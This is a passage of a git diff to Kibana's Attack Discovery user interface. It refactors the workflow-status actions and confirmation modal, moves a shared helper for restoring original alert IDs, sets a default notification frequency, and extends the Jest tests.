+0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import type { Replacements } from '@kbn/elastic-assistant-common'; - -export const getOriginalAlertIds = ({ - alertIds, - replacements, -}: { - alertIds: string[]; - replacements?: Replacements; -}): string[] => - alertIds.map((alertId) => (replacements != null ? replacements[alertId] ?? alertId : alertId)); diff --git a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/take_action/index.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/take_action/index.test.tsx index aeddb01a07b70..f8070edd43997 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/take_action/index.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/take_action/index.test.tsx @@ -5,37 +5,61 @@ * 2.0. */ -import { fireEvent, render, screen } from '@testing-library/react'; +import { fireEvent, render, screen, waitFor } from '@testing-library/react'; import React from 'react'; -import { TestProviders } from '../../../../common/mock/test_providers'; +import { useKibana } from '../../../../common/lib/kibana'; +import { TestProviders } from '../../../../common/mock'; import { mockAttackDiscovery } from '../../mock/mock_attack_discovery'; +import { getMockAttackDiscoveryAlerts } from '../../mock/mock_attack_discovery_alerts'; +import { useAssistantAvailability } from '../../../../assistant/use_assistant_availability'; import { TakeAction } from '.'; -// Mocks for hooks and dependencies -jest.mock('../../use_kibana_feature_flags', () => ({ - useKibanaFeatureFlags: () => ({ attackDiscoveryAlertsEnabled: true }), +const mockMutateAsyncBulk = jest.fn().mockResolvedValue({}); +const mockMutateAsyncStatus = jest.fn().mockResolvedValue({}); + +jest.mock('../../../../assistant/use_assistant_availability', () => ({ + useAssistantAvailability: jest.fn(), })); + +const mockUseAssistantAvailability = useAssistantAvailability as jest.Mock; + +jest.mock('../../../../common/lib/kibana', () => ({ + useKibana: jest.fn(), +})); + jest.mock('../../use_attack_discovery_bulk', () => ({ - useAttackDiscoveryBulk: () => ({ mutateAsync: jest.fn().mockResolvedValue({}) }), + useAttackDiscoveryBulk: jest.fn(() => ({ mutateAsync: mockMutateAsyncBulk })), })); -jest.mock('./use_update_alerts_status', () => ({ - useUpdateAlertsStatus: () => ({ mutateAsync: jest.fn().mockResolvedValue({}) }), + +jest.mock('../../use_kibana_feature_flags', () => ({ + useKibanaFeatureFlags: jest.fn(() => ({ attackDiscoveryAlertsEnabled: true })), })); + jest.mock('./use_add_to_case', () => ({ - useAddToNewCase: () => ({ disabled: false, onAddToNewCase: jest.fn() }), + useAddToNewCase: jest.fn(() => ({ disabled: false, onAddToNewCase: jest.fn() })), })); + jest.mock('./use_add_to_existing_case', () => ({ - useAddToExistingCase: () => ({ onAddToExistingCase: jest.fn() }), + useAddToExistingCase: jest.fn(() => ({ onAddToExistingCase: jest.fn() })), })); + jest.mock('../attack_discovery_panel/view_in_ai_assistant/use_view_in_ai_assistant', () => ({ - useViewInAiAssistant: () => ({ showAssistantOverlay: jest.fn(), disabled: false }), + useViewInAiAssistant: jest.fn(() => ({ showAssistantOverlay: jest.fn(), disabled: false })), +})); + +jest.mock('./use_update_alerts_status', () => ({ + useUpdateAlertsStatus: jest.fn(() => ({ mutateAsync: mockMutateAsyncStatus })), })); + jest.mock('../../utils/is_attack_discovery_alert', () => ({ isAttackDiscoveryAlert: (ad: { alertWorkflowStatus?: string }) => - ad && ad.alertWorkflowStatus !== undefined, + ad?.alertWorkflowStatus !== undefined, })); +/** helper function to open the popover */ +const openPopover = () => fireEvent.click(screen.getAllByTestId('takeActionPopoverButton')[0]); + const defaultProps = { attackDiscoveries: [mockAttackDiscovery], setSelectedAttackDiscoveries: jest.fn(), @@ -44,6 +68,47 @@ const defaultProps = { describe('TakeAction', () => { beforeEach(() => { jest.clearAllMocks(); + + (useKibana as jest.Mock).mockReturnValue({ + services: { + application: { + capabilities: { + assistant: { + show: true, + save: true, + }, + }, + }, + cases: { + helpers: { + canUseCases: jest.fn().mockReturnValue({ + all: true, + connectors: true, + create: true, + delete: true, + push: true, + read: true, + settings: true, + update: true, + createComment: true, + }), + }, + hooks: { + useCasesAddToExistingCase: jest.fn(), + useCasesAddToExistingCaseModal: jest.fn().mockReturnValue({ open: jest.fn() }), + useCasesAddToNewCaseFlyout: jest.fn(), + }, + ui: {}, + }, + featureFlags: { + getBooleanValue: jest.fn().mockReturnValue(true), + }, + }, + }); + + mockUseAssistantAvailability.mockReturnValue({ + hasSearchAILakeConfigurations: false, // AI for SOC is not configured + }); }); it('renders the Add to new case action', () => { @@ -52,7 +117,9 @@ describe('TakeAction', () => { ); - fireEvent.click(screen.getAllByTestId('takeActionPopoverButton')[0]); + + openPopover(); + expect(screen.getByTestId('addToCase')).toBeInTheDocument(); }); @@ -62,7 +129,9 @@ describe('TakeAction', () => { ); - fireEvent.click(screen.getAllByTestId('takeActionPopoverButton')[0]); + + openPopover(); + expect(screen.getByTestId('addToExistingCase')).toBeInTheDocument(); }); @@ -72,11 +141,13 @@ describe('TakeAction', () => { ); - fireEvent.click(screen.getAllByTestId('takeActionPopoverButton')[0]); + + openPopover(); + expect(screen.getByTestId('viewInAiAssistant')).toBeInTheDocument(); }); - it('does not render View in AI Assistant when multiple discoveries', () => { + it('does NOT render View in AI Assistant when multiple discoveries are selected', () => { render( { /> ); - fireEvent.click(screen.getAllByTestId('takeActionPopoverButton')[0]); - expect(screen.queryByTestId('viewInAiAssistant')).toBeNull(); - }); - it('renders mark as open/acknowledged/closed actions when alertWorkflowStatus is set', () => { - const alert = { ...mockAttackDiscovery, alertWorkflowStatus: 'acknowledged' }; - render( - - - - ); - fireEvent.click(screen.getAllByTestId('takeActionPopoverButton')[0]); - expect(screen.getByTestId('markAsOpen')).toBeInTheDocument(); - expect(screen.getByTestId('markAsClosed')).toBeInTheDocument(); + openPopover(); + + expect(screen.queryByTestId('viewInAiAssistant')).toBeNull(); }); - it('shows UpdateAlertsModal when mark as closed is clicked', async () => { + it('shows the UpdateAlertsModal when mark as closed is clicked', async () => { const alert = { ...mockAttackDiscovery, alertWorkflowStatus: 'open', id: 'id1' }; + render( ); - fireEvent.click(screen.getAllByTestId('takeActionPopoverButton')[0]); + + openPopover(); fireEvent.click(screen.getByTestId('markAsClosed')); + expect(await screen.findByTestId('confirmModal')).toBeInTheDocument(); }); - it('calls setSelectedAttackDiscoveries and closes modal on confirm', async () => { + it('calls setSelectedAttackDiscoveries and closes the modal on confirm', async () => { const alert = { ...mockAttackDiscovery, alertWorkflowStatus: 'open', id: 'id1' }; const setSelectedAttackDiscoveries = jest.fn(); render( @@ -125,28 +189,434 @@ describe('TakeAction', () => { /> ); - fireEvent.click(screen.getAllByTestId('takeActionPopoverButton')[0]); + + openPopover(); fireEvent.click(screen.getByTestId('markAsClosed')); expect(await screen.findByTestId('confirmModal')).toBeInTheDocument(); + fireEvent.click(screen.getByTestId('markDiscoveriesOnly')); // Wait for setSelectedAttackDiscoveries to be called await screen.findByTestId('takeActionPopoverButton'); expect(setSelectedAttackDiscoveries).toHaveBeenCalledWith({}); }); - it('closes modal on cancel', async () => { + it('closes the modal on cancel', async () => { const alert = { ...mockAttackDiscovery, alertWorkflowStatus: 'open', id: 'id1' }; render( ); - fireEvent.click(screen.getAllByTestId('takeActionPopoverButton')[0]); + + openPopover(); fireEvent.click(screen.getByTestId('markAsClosed')); expect(await screen.findByTestId('confirmModal')).toBeInTheDocument(); + fireEvent.click(screen.getByTestId('cancel')); // Wait for modal to close await screen.findByTestId('takeActionPopoverButton'); + expect(screen.queryByTestId('confirmModal')).toBeNull(); }); + + describe('actions when a single alert is selected', () => { + const workflowStatuses = [ + { + status: 'open', + expected: { + markAsOpen: false, + markAsAcknowledged: true, + markAsClosed: true, + }, + }, + { + status: 'acknowledged', + expected: { + markAsOpen: true, + markAsAcknowledged: false, + markAsClosed: true, + }, + }, + { + status: 'closed', + expected: { + markAsOpen: true, + markAsAcknowledged: true, + markAsClosed: false, + }, + }, + ]; + + it.each(workflowStatuses)( + 'renders correct actions for status $status (single alert selection)', + ({ status, expected }) => { + const alert = { ...mockAttackDiscovery, alertWorkflowStatus: status }; + + render( + + + + ); + openPopover(); + + if (expected.markAsOpen) { + expect(screen.getByTestId('markAsOpen')).toBeInTheDocument(); + } else { + expect(screen.queryByTestId('markAsOpen')).toBeNull(); + } + + if (expected.markAsAcknowledged) { + expect(screen.getByTestId('markAsAcknowledged')).toBeInTheDocument(); + } else { + expect(screen.queryByTestId('markAsAcknowledged')).toBeNull(); + } + + if (expected.markAsClosed) { + expect(screen.getByTestId('markAsClosed')).toBeInTheDocument(); + } else { + expect(screen.queryByTestId('markAsClosed')).toBeNull(); + } + } + ); + }); + + describe('actions when multiple alerts are selected', () => { + const alerts = getMockAttackDiscoveryAlerts(); // <-- multiple alerts + const testCases = [ + { + testId: 'markAsAcknowledged', + description: 'renders mark as acknowledged', + }, + { + testId: 'markAsClosed', + description: 'renders mark as closed', + }, + { + testId: 'markAsOpen', + description: 'renders mark as open', + }, + ]; + + beforeEach(() => { + render( + + + + ); + + openPopover(); + }); + + it.each(testCases)('$description', ({ testId }) => { + expect(screen.getByTestId(testId)).toBeInTheDocument(); + }); + }); + + describe('when AI for SOC is the configured project', () => { + let alert: ReturnType[0]; + let setSelectedAttackDiscoveries: jest.Mock; + + beforeEach(() => { + alert = getMockAttackDiscoveryAlerts()[0]; + setSelectedAttackDiscoveries = jest.fn(); + (useKibana as jest.Mock).mockReturnValue({ + services: { + cases: { helpers: { canUseCases: () => ({ createComment: true, read: true }) } }, + }, + }); + + mockUseAssistantAvailability.mockReturnValue({ + hasSearchAILakeConfigurations: true, // AI for SOC IS configured + }); + }); + + it('renders mark as closed action and takes action immediately (no modal)', async () => { + render( + + + + ); + + openPopover(); + expect(screen.getByTestId('markAsClosed')).toBeInTheDocument(); + fireEvent.click(screen.getByTestId('markAsClosed')); + + // Modal should NOT appear + expect(screen.queryByTestId('confirmModal')).toBeNull(); + + // Wait for async action + await waitFor(() => { + expect(mockMutateAsyncBulk).toHaveBeenCalledWith( + expect.objectContaining({ + ids: [alert.id], + kibanaAlertWorkflowStatus: 'closed', + }) + ); + }); + + expect(mockMutateAsyncStatus).not.toHaveBeenCalled(); + expect(setSelectedAttackDiscoveries).toHaveBeenCalledWith({}); + }); + + it('renders mark as acknowledged action and takes action immediately (no modal)', async () => { + alert = { ...alert, alertWorkflowStatus: 'open' }; + render( + + + + ); + + openPopover(); + expect(screen.getByTestId('markAsAcknowledged')).toBeInTheDocument(); + + fireEvent.click(screen.getByTestId('markAsAcknowledged')); + + expect(screen.queryByTestId('confirmModal')).toBeNull(); + + await waitFor(() => { + expect(mockMutateAsyncBulk).toHaveBeenCalledWith( + expect.objectContaining({ + ids: [alert.id], + kibanaAlertWorkflowStatus: 'acknowledged', + }) + ); + }); + + expect(mockMutateAsyncStatus).not.toHaveBeenCalled(); + expect(setSelectedAttackDiscoveries).toHaveBeenCalledWith({}); + }); + + it('renders mark as open action and takes action immediately (no modal)', async () => { + alert = { ...alert, alertWorkflowStatus: 'closed' }; + render( + + + + ); + + openPopover(); + expect(screen.getByTestId('markAsOpen')).toBeInTheDocument(); + + fireEvent.click(screen.getByTestId('markAsOpen')); + + expect(screen.queryByTestId('confirmModal')).toBeNull(); + + await waitFor(() => { + expect(mockMutateAsyncBulk).toHaveBeenCalledWith( + expect.objectContaining({ + ids: [alert.id], + kibanaAlertWorkflowStatus: 'open', + }) + ); + }); + + expect(mockMutateAsyncStatus).not.toHaveBeenCalled(); + expect(setSelectedAttackDiscoveries).toHaveBeenCalledWith({}); + }); + }); + + describe('when attackDiscoveryAlertsEnabled is disabled', () => { + beforeEach(() => { + // Mock useKibanaFeatureFlags to return false + const { useKibanaFeatureFlags } = jest.requireMock('../../use_kibana_feature_flags'); + useKibanaFeatureFlags.mockReturnValue({ attackDiscoveryAlertsEnabled: false }); + }); + + it('does not render workflow status actions', () => { + const alert = { ...getMockAttackDiscoveryAlerts()[0], alertWorkflowStatus: 'open' }; + + render( + + + + ); + + openPopover(); + + expect(screen.queryByTestId('markAsOpen')).toBeNull(); + expect(screen.queryByTestId('markAsAcknowledged')).toBeNull(); + expect(screen.queryByTestId('markAsClosed')).toBeNull(); + }); + + it('renders case actions and view in AI assistant', () => { + render( + + + + ); + + openPopover(); + + expect(screen.getByTestId('addToCase')).toBeInTheDocument(); + expect(screen.getByTestId('addToExistingCase')).toBeInTheDocument(); + expect(screen.getByTestId('viewInAiAssistant')).toBeInTheDocument(); + }); + }); + + describe('case interactions', () => { + const mockOnAddToNewCase = jest.fn(); + const mockOnAddToExistingCase = jest.fn(); + + beforeEach(() => { + const { useAddToNewCase } = jest.requireMock('./use_add_to_case'); + const { useAddToExistingCase } = jest.requireMock('./use_add_to_existing_case'); + + useAddToNewCase.mockReturnValue({ + disabled: false, + onAddToNewCase: mockOnAddToNewCase, + }); + + useAddToExistingCase.mockReturnValue({ + onAddToExistingCase: mockOnAddToExistingCase, + }); + }); + + it('calls onAddToNewCase when clicking add to new case', async () => { + render( + + + + ); + + openPopover(); + fireEvent.click(screen.getByTestId('addToCase')); + + await waitFor(() => { + expect(mockOnAddToNewCase).toHaveBeenCalledWith({ + alertIds: expect.any(Array), + markdownComments: expect.any(Array), + replacements: undefined, + }); + }); + }); + + it('calls onAddToExistingCase when clicking add to existing case', () => { + render( + + + + ); + + openPopover(); + fireEvent.click(screen.getByTestId('addToExistingCase')); + + expect(mockOnAddToExistingCase).toHaveBeenCalledWith({ + alertIds: expect.any(Array), + markdownComments: expect.any(Array), + replacements: undefined, + }); + }); + }); + + describe('when case permissions are disabled', () => { + beforeEach(() => { + (useKibana as jest.Mock).mockReturnValue({ + services: { + cases: { + helpers: { + canUseCases: jest.fn().mockReturnValue({ + all: false, + connectors: false, + create: false, + delete: false, + push: false, + read: false, + settings: false, + update: false, + createComment: false, + }), + }, + hooks: { + useCasesAddToExistingCase: jest.fn(), + useCasesAddToExistingCaseModal: jest.fn().mockReturnValue({ open: jest.fn() }), + useCasesAddToNewCaseFlyout: jest.fn(), + }, + ui: {}, + }, + featureFlags: { + getBooleanValue: jest.fn().mockReturnValue(true), + }, + application: { + capabilities: { + assistant: { + show: true, + save: true, + }, + }, + }, + }, + }); + + const { useAddToNewCase } = jest.requireMock('./use_add_to_case'); + useAddToNewCase.mockReturnValue({ + disabled: true, + onAddToNewCase: jest.fn(), + }); + + const { useAddToExistingCase } = jest.requireMock('./use_add_to_existing_case'); + useAddToExistingCase.mockReturnValue({ + onAddToExistingCase: jest.fn(), + }); + }); + + it('disables case actions when the user lacks permissions', () => { + render( + + + + ); + + openPopover(); + + const addToCaseButton = screen.getByTestId('addToCase'); + const addToExistingCaseButton = screen.getByTestId('addToExistingCase'); + + expect(addToCaseButton).toBeDisabled(); + expect(addToExistingCaseButton).toBeDisabled(); + }); + }); + + describe('AI Assistant interactions', () => { + const mockShowAssistantOverlay = jest.fn(); + + beforeEach(() => { + const { useViewInAiAssistant } = jest.requireMock( + '../attack_discovery_panel/view_in_ai_assistant/use_view_in_ai_assistant' + ); + useViewInAiAssistant.mockReturnValue({ + showAssistantOverlay: mockShowAssistantOverlay, + disabled: false, + }); + }); + + it('disables view in AI assistant when disabled', () => { + const { useViewInAiAssistant } = jest.requireMock( + '../attack_discovery_panel/view_in_ai_assistant/use_view_in_ai_assistant' + ); + useViewInAiAssistant.mockReturnValue({ + showAssistantOverlay: mockShowAssistantOverlay, + disabled: true, + }); + + render( + + + + ); + + openPopover(); + const viewInAiAssistantButton = screen.getByTestId('viewInAiAssistant'); + + expect(viewInAiAssistantButton).toBeDisabled(); + }); + }); }); diff --git a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/take_action/index.tsx b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/take_action/index.tsx index 0332a960ed985..31276492948ce 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/take_action/index.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/take_action/index.tsx @@ -10,6 +10,7 @@ import { type AttackDiscovery, type AttackDiscoveryAlert, type Replacements, + getOriginalAlertIds, } from '@kbn/elastic-assistant-common'; import { EuiButtonEmpty, @@ -20,6 +21,7 @@ import { } from '@elastic/eui'; import React, { useCallback, useMemo, useState } from 'react'; +import { useAssistantAvailability } from '../../../../assistant/use_assistant_availability'; import { useAddToNewCase } from './use_add_to_case'; import { useAddToExistingCase } from './use_add_to_existing_case'; import { useViewInAiAssistant } from '../attack_discovery_panel/view_in_ai_assistant/use_view_in_ai_assistant'; @@ -56,6 +58,8 @@ const TakeActionComponent: React.FC = ({ const { services: { cases }, } = useKibana(); + const { hasSearchAILakeConfigurations } = useAssistantAvailability(); + const { attackDiscoveryAlertsEnabled } = useKibanaFeatureFlags(); const userCasesPermissions = cases.helpers.canUseCases([APP_ID]); @@ -109,24 +113,63 @@ const TakeActionComponent: React.FC = ({ const { mutateAsync: attackDiscoveryBulk } = useAttackDiscoveryBulk(); const { mutateAsync: updateAlertStatus } = useUpdateAlertsStatus(); - // click handlers for the popover actions: - const onClickMarkAsAcknowledged = useCallback(async () => { - closePopover(); - - setPendingAction('acknowledged'); - }, [closePopover]); + /** + * Called by the modal when the user confirms the action, + * or directly when the user selects an action in AI for SOC. + */ + const onConfirm = useCallback( + async ({ + updateAlerts, + workflowStatus, + }: { + updateAlerts: boolean; + workflowStatus: 'open' | 'acknowledged' | 'closed'; + }) => { + setPendingAction(null); + + await attackDiscoveryBulk({ + attackDiscoveryAlertsEnabled, + ids: attackDiscoveryIds, + kibanaAlertWorkflowStatus: workflowStatus, + }); + + if (updateAlerts && alertIds.length > 0) { + const originalAlertIds = getOriginalAlertIds({ alertIds, replacements }); + + await updateAlertStatus({ + ids: originalAlertIds, + kibanaAlertWorkflowStatus: workflowStatus, + }); + } - const onClickMarkAsClosed = useCallback(async () => { - closePopover(); + setSelectedAttackDiscoveries({}); + refetchFindAttackDiscoveries?.(); + }, + [ + alertIds, + attackDiscoveryAlertsEnabled, + attackDiscoveryBulk, + attackDiscoveryIds, + refetchFindAttackDiscoveries, + replacements, + setSelectedAttackDiscoveries, + updateAlertStatus, + ] + ); - setPendingAction('closed'); - }, [closePopover]); + const onUpdateWorkflowStatus = useCallback( + async (workflowStatus: 'open' | 'acknowledged' | 'closed') => { + closePopover(); - const onClickMarkAsOpen = useCallback(async () => { - closePopover(); + setPendingAction(workflowStatus); - setPendingAction('open'); - }, [closePopover]); + if (hasSearchAILakeConfigurations) { + // there's no modal for AI for SOC, so we call onConfirm directly + onConfirm({ updateAlerts: false, workflowStatus }); + } + }, + [closePopover, hasSearchAILakeConfigurations, onConfirm] + ); const onClickAddToNewCase = useCallback(async () => { closePopover(); @@ -246,7 +289,7 @@ const TakeActionComponent: React.FC = ({ onUpdateWorkflowStatus('open')} > {i18n.MARK_AS_OPEN} , @@ -258,7 +301,7 @@ const TakeActionComponent: React.FC = ({ onUpdateWorkflowStatus('acknowledged')} > {i18n.MARK_AS_ACKNOWLEDGED} , @@ -270,7 +313,7 @@ const TakeActionComponent: React.FC = ({ onUpdateWorkflowStatus('closed')} > {i18n.MARK_AS_CLOSED} , @@ -278,48 +321,7 @@ const TakeActionComponent: React.FC = ({ : []; return [...markAsOpenItem, ...markAsAcknowledgedItem, ...markAsClosedItem, ...items].flat(); - }, [ - attackDiscoveries, - attackDiscoveryAlertsEnabled, - items, - onClickMarkAsAcknowledged, - onClickMarkAsClosed, - onClickMarkAsOpen, - ]); - - const onConfirm = useCallback( - async (updateAlerts: boolean) => { - if (pendingAction !== null) { - setPendingAction(null); - - await attackDiscoveryBulk({ - attackDiscoveryAlertsEnabled, - ids: attackDiscoveryIds, - kibanaAlertWorkflowStatus: pendingAction, - }); - - if (updateAlerts && alertIds.length > 0) { - await updateAlertStatus({ - ids: alertIds, - kibanaAlertWorkflowStatus: pendingAction, - }); - } - - setSelectedAttackDiscoveries({}); - refetchFindAttackDiscoveries?.(); - } - }, - [ - alertIds, - attackDiscoveryAlertsEnabled, - attackDiscoveryBulk, - attackDiscoveryIds, - pendingAction, - refetchFindAttackDiscoveries, - setSelectedAttackDiscoveries, - updateAlertStatus, - ] - ); + }, [attackDiscoveries, attackDiscoveryAlertsEnabled, items, onUpdateWorkflowStatus]); const onCloseOrCancel = useCallback(() => { setPendingAction(null); @@ -339,7 +341,7 @@ const TakeActionComponent: React.FC = ({
    - {pendingAction != null && ( + {pendingAction != null && !hasSearchAILakeConfigurations && ( { expect(defaultProps.onCancel).toHaveBeenCalled(); }); - it('calls onConfirm(false) when markDiscoveriesOnly is clicked', () => { + it('calls onConfirm with updateAlerts: false when markDiscoveriesOnly is clicked', () => { render(); fireEvent.click(screen.getByTestId('markDiscoveriesOnly')); - expect(defaultProps.onConfirm).toHaveBeenCalledWith(false); + expect(defaultProps.onConfirm).toHaveBeenCalledWith({ + updateAlerts: false, + workflowStatus: 'acknowledged', + }); }); - it('calls onConfirm(true) when markAlertsAndDiscoveries is clicked', () => { + it('calls onConfirm with updateAlerts: true when markAlertsAndDiscoveries is clicked', () => { render(); fireEvent.click(screen.getByTestId('markAlertsAndDiscoveries')); - expect(defaultProps.onConfirm).toHaveBeenCalledWith(true); + expect(defaultProps.onConfirm).toHaveBeenCalledWith({ + updateAlerts: true, + workflowStatus: 'acknowledged', + }); }); it.each([ diff --git a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/take_action/update_alerts_modal/index.tsx b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/take_action/update_alerts_modal/index.tsx index ed6111bb6dce5..4eaac94a8d256 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/take_action/update_alerts_modal/index.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/take_action/update_alerts_modal/index.tsx @@ -28,7 +28,13 @@ interface Props { attackDiscoveriesCount: number; onCancel: () => void; onClose: () => void; - onConfirm: (updateAlerts: boolean) => void; + onConfirm: ({ + updateAlerts, + workflowStatus, + }: { + updateAlerts: boolean; + workflowStatus: 'open' | 'acknowledged' | 'closed'; + }) => Promise; workflowStatus: 'open' | 'acknowledged' | 'closed'; } @@ -45,12 +51,12 @@ const UpdateAlertsModalComponent: React.FC = ({ const titleId = useGeneratedHtmlId(); const markDiscoveriesOnly = useCallback(() => { - onConfirm(false); - }, [onConfirm]); + onConfirm({ updateAlerts: false, workflowStatus }); + }, [onConfirm, workflowStatus]); const markAlertsAndDiscoveries = useCallback(() => { - onConfirm(true); - }, [onConfirm]); + onConfirm({ updateAlerts: true, workflowStatus }); + }, [onConfirm, workflowStatus]); const confirmButtons = useMemo( () => ( diff --git a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/take_action/use_add_to_case/index.tsx b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/take_action/use_add_to_case/index.tsx index 0dab377e5353c..f93a1a6a09465 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/take_action/use_add_to_case/index.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/take_action/use_add_to_case/index.tsx @@ -8,7 +8,7 @@ import { AttachmentType } from '@kbn/cases-plugin/common'; import type { CaseAttachmentWithoutOwner } from '@kbn/cases-plugin/public/types'; import { useAssistantContext } from '@kbn/elastic-assistant'; -import type { Replacements } from '@kbn/elastic-assistant-common'; +import { getOriginalAlertIds, type Replacements } from '@kbn/elastic-assistant-common'; import React, { useCallback, useMemo } from 'react'; import { useKibana } from '../../../../../common/lib/kibana'; @@ -63,8 +63,9 @@ export const useAddToNewCase = ({ type: AttachmentType.user, })); - const alertAttachments = alertIds.map((alertId) => ({ - alertId: replacements != null ? replacements[alertId] ?? alertId : alertId, + const originalAlertIds = getOriginalAlertIds({ alertIds, replacements }); + const alertAttachments = originalAlertIds.map((alertId) => ({ + alertId, index: alertsIndexPattern ?? '', rule: { id: null, diff --git a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/take_action/use_add_to_existing_case/index.tsx b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/take_action/use_add_to_existing_case/index.tsx index 084f2e291ca5e..c1e618d1f95ea 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/take_action/use_add_to_existing_case/index.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/take_action/use_add_to_existing_case/index.tsx @@ -8,7 +8,7 @@ import { AttachmentType } from '@kbn/cases-plugin/common'; import type { CaseAttachmentWithoutOwner } from '@kbn/cases-plugin/public/types'; import { useAssistantContext } from '@kbn/elastic-assistant'; -import type { Replacements } from '@kbn/elastic-assistant-common'; +import { getOriginalAlertIds, type Replacements } from '@kbn/elastic-assistant-common'; import { useCallback } from 'react'; import { useKibana } from '../../../../../common/lib/kibana'; @@ -59,8 +59,9 @@ export const useAddToExistingCase = ({ type: AttachmentType.user, })); - const alertAttachments = alertIds.map((alertId) => ({ - alertId: replacements != null ? replacements[alertId] ?? alertId : alertId, + const originalAlertIds = getOriginalAlertIds({ alertIds, replacements }); + const alertAttachments = originalAlertIds.map((alertId) => ({ + alertId, index: alertsIndexPattern ?? '', rule: { id: null, diff --git a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/settings_flyout/schedule/edit_form/edit_form.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/settings_flyout/schedule/edit_form/edit_form.test.tsx index 7170086e16867..e851f97f21648 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/settings_flyout/schedule/edit_form/edit_form.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/settings_flyout/schedule/edit_form/edit_form.test.tsx @@ -79,6 +79,8 @@ const renderComponent = async () => { const getBooleanValueMock = jest.fn(); describe('EditForm', () => { + const mockTriggersActionsUi = triggersActionsUiMock.createStart(); + beforeEach(() => { jest.clearAllMocks(); @@ -92,9 +94,7 @@ describe('EditForm', () => { lens: { EmbeddableComponent: () =>
    , }, - triggersActionsUi: { - ...triggersActionsUiMock.createStart(), - }, + triggersActionsUi: mockTriggersActionsUi, uiSettings: { get: jest.fn(), }, @@ -178,4 +178,20 @@ describe('EditForm', () => { expect(onChangeMock).toHaveBeenCalled(); }); + + it('should override default action frequency to `for each alert` instead of `summary of alerts`', async () => { + mockTriggersActionsUi.getActionForm = jest.fn(); + + await renderComponent(); + + expect(mockTriggersActionsUi.getActionForm).toHaveBeenCalledWith( + expect.objectContaining({ + defaultRuleFrequency: { + notifyWhen: 'onActiveAlert', + summary: false, + throttle: null, + }, + }) + ); + }); }); diff --git a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/settings_flyout/schedule/edit_form/edit_form.tsx b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/settings_flyout/schedule/edit_form/edit_form.tsx index ccfbcbd5a4505..f152d0948f5cc 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/settings_flyout/schedule/edit_form/edit_form.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/settings_flyout/schedule/edit_form/edit_form.tsx @@ -8,6 +8,7 @@ import React, { useCallback, useEffect, useMemo, useState } from 'react'; import { EuiFlexGroup, EuiFlexItem } from '@elastic/eui'; +import { RuleNotifyWhen } from '@kbn/alerting-plugin/common'; import { ATTACK_DISCOVERY_SCHEDULES_ALERT_TYPE_ID } from '@kbn/elastic-assistant-common'; import { getSchema } from './schema'; import type { AttackDiscoveryScheduleSchema } from './types'; @@ -140,6 +141,11 @@ export const EditForm: React.FC = React.memo((props) => { componentProps={{ ruleTypeId: ATTACK_DISCOVERY_SCHEDULES_ALERT_TYPE_ID, messageVariables, + defaultRuleFrequency: { + notifyWhen: RuleNotifyWhen.ACTIVE, + throttle: null, + summary: false, + }, }} /> diff --git a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/settings_flyout/schedule/edit_form/message_variables.test.ts b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/settings_flyout/schedule/edit_form/message_variables.test.ts index 3fa9c7342c507..fdf17f1814127 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/settings_flyout/schedule/edit_form/message_variables.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/settings_flyout/schedule/edit_form/message_variables.test.ts @@ -15,49 +15,82 @@ describe('getMessageVariables', () => { it('should return `context.attack.alertIds` action variable', () => { const variables = getMessageVariables().context; expect(variables).toEqual( - expect.arrayContaining([expect.objectContaining({ name: 'attack.alertIds' })]) + expect.arrayContaining([{ description: expect.anything(), name: 'attack.alertIds' }]) ); }); it('should return `context.attack.detailsMarkdown` action variable', () => { const variables = getMessageVariables().context; expect(variables).toEqual( - expect.arrayContaining([expect.objectContaining({ name: 'attack.detailsMarkdown' })]) + expect.arrayContaining([ + { + description: expect.anything(), + name: 'attack.detailsMarkdown', + useWithTripleBracesInTemplates: true, + }, + ]) ); }); it('should return `context.attack.summaryMarkdown` action variable', () => { const variables = getMessageVariables().context; expect(variables).toEqual( - expect.arrayContaining([expect.objectContaining({ name: 'attack.summaryMarkdown' })]) + expect.arrayContaining([ + { + description: expect.anything(), + name: 'attack.summaryMarkdown', + useWithTripleBracesInTemplates: true, + }, + ]) ); }); it('should return `context.attack.title` action variable', () => { const variables = getMessageVariables().context; expect(variables).toEqual( - expect.arrayContaining([expect.objectContaining({ name: 'attack.title' })]) + expect.arrayContaining([{ description: expect.anything(), 